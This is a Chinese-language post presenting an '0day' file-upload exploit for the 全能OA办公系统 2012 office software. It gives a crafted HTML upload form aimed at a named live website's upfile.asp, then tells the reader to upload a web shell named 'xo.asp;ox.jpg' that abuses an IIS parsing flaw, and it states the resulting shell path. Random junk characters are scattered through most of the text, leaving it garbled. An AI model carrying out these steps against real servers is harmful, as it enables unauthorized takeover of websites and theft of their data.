全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
/ M& r/ R5 ^0 `. C) P9 {: f. v
" j4 x" l" V* u% X( Z全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
公司通告
工作计划
通讯助理
) v4 O" h  W, z9 }! u  E3 F客户资源
我的公文
公文传阅
& G7 K' U7 m7 G公共资源
( h8 ]3 G0 o0 P; a4 J+ |+ o资源预约
今日考勤
个人计划
- B( I3 t" v; ?; z! m$ e* n1 G  Q个人通讯录
, H( q4 T$ \, g9 c个人基本档案
" x, L  F3 g% y" h# u: J6 {" p9 v8 Q未读邮件
发邮件
9 I* r3 q  `" ~# }' F1 [; |收件夹
寄件夹
( w! h- ?: J$ ^- Z- u3 O' B& J) f网络硬盘
网络会议
网络调查
! g* _1 I/ p# r# P* l交流论坛

5 X7 S2 P' ~1 ]5 ~$ e  l0 [' p4 T有兴趣测试的朋友可以下源码看看

/ }5 r6 u$ ?- e, ]& M5 I, O  ?源码下载：

4 z) Q9 |5 a% X' m0 k% `0 A2 Bhttp://www.mycodes.net/30/4750.htm
* D5 t& l, O: c; E
2 \5 K3 n  `8 w  {% A6 f, v漏洞介绍：
' j. A% h& \! k" I* L" O
由upfile.asp上传文件漏洞引起
& q- Q% _  O  @
测试方法：
7 \0 J0 ?1 }$ F# s
使用名小子上传http://www.itlynn.com/upfile.asp即可

1 H, S+ q( i' U如果upfile.asp文件被删除不存在。
  q( r  ?0 V! h$ i( m, L
) y0 z, i3 D% S7 }/ s) E  u  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

6 e, D/ N# x6 q5 M$ k如果存在那么将如下代码保存为upfile.html。

, R/ S$ F8 k1 V然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。



; H8 s3 N9 g3 u# v) `8 |# u01 <table border='0' align="center" cellpadding="5">
' Y  f- p7 f6 J  @+ z
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

  T- G. d# F; }  R. f! w" J04             <td>报错：</td>

: i* i. P/ H4 g& x: H/ V' F05             <td><input type='radio' name='errnumber' value='0'>

1 l. N1 D, |  b0 G4 Z' [$ Y06               自动更名

- |( l& E" w; G* s. @& q07               <input type='radio' name='errnumber' value='1' checked>
0 G8 D' k" R" |1 O. Z. D
1 j9 u" @5 S4 B3 C08               报错方式
/ x- M! J( I# [9 [8 @
; g+ _) r  h' g% J# }, W09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
% s9 W% J# Y- o8 j9 k
7 z& f! D2 E; Z# x' l/ v11           </tr>
) z! d/ A$ t7 t6 S, X1 g- S+ R/ F
12           <tr>

: S' n( n  S: t13             <td>主题：</td>

" M( Z1 t3 k, p4 V$ K' K2 x, p14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

4 n% f$ m9 y( t8 x* C2 j+ u16           <tr>
0 k9 e5 p( v( U/ I) f& j. W5 B
17             <td>文件：</td>
6 {1 _, {" |) H! m. u( _- l- u
18             <td><input type="file"name="fruit"size="30"></td>
: z4 ^0 V9 V$ e$ K/ S
4 ?, w: X! z6 v: k19           </tr>
4 `9 o0 C* q7 I
$ Z6 W% A1 w" q) D% x7 X$ I20           <tr>
! P" w. F. B) m: N( ^5 Z1 `
4 ]  A/ b; N: N2 Y' b21             <td valign='top'>简介：</td>
! B; g! u3 D9 A. h
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

8 O% ^5 @) s" J: O: w  w24   
, W1 w6 f$ F1 I; }3 j$ Y
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
0 g- u5 G; X- @
0 G( l, n5 q0 f7 H8 ^3 E9 N- j3 \( I26           </tr>

27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
4 t. F1 n, D7 O6 \% G* |
9 j+ D7 H! N8 {. i. }8 j* ?
$ F# S) [( v' W( u# w# k
4 w6 o0 l7 x7 r; p上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。